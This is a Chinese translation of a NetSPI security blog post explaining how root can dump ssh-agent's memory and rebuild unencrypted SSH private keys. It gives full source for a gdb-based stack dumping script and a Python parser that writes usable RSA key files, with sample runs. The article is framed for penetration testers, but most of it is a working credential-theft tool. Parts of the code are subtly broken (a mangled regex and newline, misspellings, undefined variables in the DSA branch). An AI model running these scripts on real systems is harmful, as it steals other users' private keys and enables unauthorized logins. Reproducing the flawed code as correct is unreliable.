from:https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory
如果你曾經使用過SSH密鑰來管理多臺設備,那么你很可能已經用過SSH-agent了。這個工具是用來在內存中保存SSH密鑰的,這樣用戶就不需要每次都輸入他們的口令了。然而,這可能招致一些安全威脅。一個以root權限運行的用戶可能足以從內存中取出解密后的SSH密鑰并重新構造。 由于需要root權限,這個攻擊看上去很雞肋。比如說,一個攻擊者可以安裝一個鍵盤記錄器并用之獲取SSH密鑰。然而,這樣會導致攻擊者必須等待目標輸入他們SSH密鑰的口令。這可能要花上幾個小時,幾天,甚至幾個星期,取決于目標登出的頻率。這也是從內存中獲取SSH密鑰為什么對于迅速拿下其他機器非常重要
使用SSH-agent的一個通用的方法是啟動"SSH-agent bash"然后用"SSH-add"把密鑰添加到agent中。一旦添加完,這個密鑰將會在SSH-agent的棧中保存直到進程結束、另一密鑰加入、或者用戶使用SSH-add的-d或者-D選項為止。大多數人只會運行SSH-agent然后就忘掉這回事直到重啟。
有很多種方式可以建立一個SSH-agents的內存鏡像。最簡單的方法是通過gdb的功能。Gdb使用了ptrace調用來連接SSH-agent。這給gdb提供了必要的截取內存以及運行進程的權限。grabagentmem.sh腳本提供了一種自動化截取內存的方式。默認情況下,當其運行時它會為每一個SSH-agent進程的棧創建一個內存鏡像。這些文件被命名為SSHagent-PID.stack
[email protected]:/tmp# grabagentmem.sh
Created /tmp/SSHagent-17019.stack
如果gdb在系統中不可用,那么也可以獲取整個系統的內存鏡像然后暴力解出SSH-agent進程的棧的內存。然而,這個做法不在我們本文的討論范圍之內。
一旦我們獲得了棧的副本那么我們就可以從這個文件里解析出密鑰了。然而,在這個棧中保存的密鑰和SSH-keygen生成的密鑰格式不同。這就是parse_mem.py腳本好用的地方。這段腳本需要安裝pyasn1 python模塊。如果安裝好了就可以用這腳本對付內存文件了。如果那個內存文件中包含了一個有效的RSA SSH密鑰,那么它將會把它保存到硬盤上。這工具未來的版本還可能支持額外的密鑰類型,比如說DSA, ECDSA, ED25519, 和 RSA1
[email protected]:/tmp# parse_mem.py /tmp/SSHagent-17019.stack /tmp/key
Found rsa key
Creating rsa key: /tmp/key.rsa
這個key.rsa文件之后就可以被用來做SSH命令的-i參數,這就跟原始的用戶密鑰一模一樣,只不過不再需要口令來解鎖了。 獲取有效的,可用的SSH密鑰可以幫助滲透測試人員更加深入目標網絡。密鑰常常被用戶在多個賬戶上使用。包括服務器的root賬戶。也可能服務器被配置為只允許密鑰登陸。擁有一個解密了的密鑰可以讓當前環境下的行動更加簡單。
grabagentmem.sh:
#!/bin/bash
# First argument is the output directory. Use /tmp if this is not specified.
outputdir="/tmp"
# Grab pids for each ssh-agent
sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')
# Iterate through the pids and create a memory dump of the stack for each
for pid in $sshagentpids; do
stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^([0-9a-f]*)-([0-9a-f]*) .*$/1 2/p')"
startstack=$(echo $stackmem | awk '{print $1}')
stopstack=$(echo $stackmem | awk '{print $2}')
gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null
# GDB doesn't error out properly if this fails.
# This will provide feedback if the file is actually created
if [ -f "$outputdir/sshagent-$pid.stack" ]; then
echo "Created $outputdir/sshagent-$pid.stack"
else
echo "Error dumping memory from $pid"
fi
done
parse_mem.py:
#!/usr/bin/python
import sys
import base64
from pyasn1.type import univ
from pyasn1.codec.der import encoder
class sshkeyparse:
""" This class is designed to parse a memory dump of ssh-agent and create
unencrypted ssh keys that can then be used to gain access to other
systems"""
keytypes = {
'rsa': "ssh-rsa",
'dsa': "ssh-dss",
'ecsda': "ecdsa-sha2-nisp256",
'ed25519': "ssh-ed25519"
}
def read(self, memdump):
""" Reads a file and stories it in self.mem"""
self.inputfile = memdump
file = open(memdump, 'rb')
self.mem = "".join(file.readlines())
file.close()
def unpack_bigint(self, buf):
"""Turn binary chunk into integer"""
v = 0
for c in buf:
v *= 256
v += ord(c)
return v
def search_key(self):
"""Searches for keys in self.mem"""
keysfound = {}
for type in self.keytypes:
magic = self.mem.find(self.keytypes[type])
if magic is not -1:
keysfound[magic] = type
if keysfound:
print ("Found %s key" % keysfound[sorted(keysfound)[0]])
self.mem = self.mem[sorted(keysfound)[0]:]
self.type = keysfound[sorted(keysfound)[0]]
return 1
if not keysfound:
return -1
def getkeys(self, output):
""" Parses for keys stored in ssh-agent's stack """
keynum = 0
validkey = 0
validkey = self.search_key()
while validkey != -1:
if keynum == 0:
keynum += 1
self.create_key(output)
else:
keynum += 1
self.create_key((output + "." + str(keynum)))
validkey = self.search_key()
if keynum == 0:
# Did not find a valid key type
print ("A saved key was not found in %s" % self.inputfile)
print ("The user may not have loaded a key or the key loaded is " +
"not supported.")
sys.exit(1)
else:
return
# Detect type of key and run key creation
def create_key(self, output):
"""Creates key files"""
output = output + "." + self.type
if self.type is "rsa":
self.create_rsa(output)
print ("Creating %s key: %s" % (self.type, output))
if self.type is "dsa":
self.create_dsa(output)
print ("Creating %s key: %s" % (self.type, output))
else:
print ("%s key type is not currently supported." % self.type)
sys.exit(3)
def create_dsa(self, output):
"""Create DSA SSH key file"""
if self.mem[0:7] == "ssh-dss":
print ("DSA SSH Keys are not currently supported.")
self.mem = self.mem[start+size:]
else:
print ("Error: This is not a DSA SSH key file")
sys.exit(2)
def create_rsa(self, output):
"""Create RSA SSH key file"""
if self.mem[0:7] == "ssh-rsa":
# FIXME: This needs to be cleaned up.
start = 10
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
n = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
e = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
d = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
c = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
p = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
q = self.unpack_bigint(self.mem[start:(start+size)])
e1 = d % (p - 1)
e2 = d % (q - 1)
self.mem = self.mem[start+size:]
else:
print ("Error: This is not a RSA SSH key file")
sys.exit(2)
seq = (
univ.Integer(0),
univ.Integer(n),
univ.Integer(e),
univ.Integer(d),
univ.Integer(p),
univ.Integer(q),
univ.Integer(e1),
univ.Integer(e2),
univ.Integer(c),
)
struct = univ.Sequence()
for i in xrange(len(seq)):
struct.setComponentByPosition(i, seq[i])
raw = encoder.encode(struct)
data = base64.b64encode(raw)
# chop data up into lines of certain width
width = 64
chopped = [data[i:i + width] for i in xrange(0, len(data), width)]
# assemble file content
content = """-----BEGIN RSA PRIVATE KEY-----
%s
-----END RSA PRIVATE KEY-----
""" % 'n'.join(chopped)
output = open(output, 'w')
output.write(content)
output.close()
# MAIN
keystart = sshkeyparse()
keystart.read(sys.argv[1])
keystart.getkeys(sys.argv[2])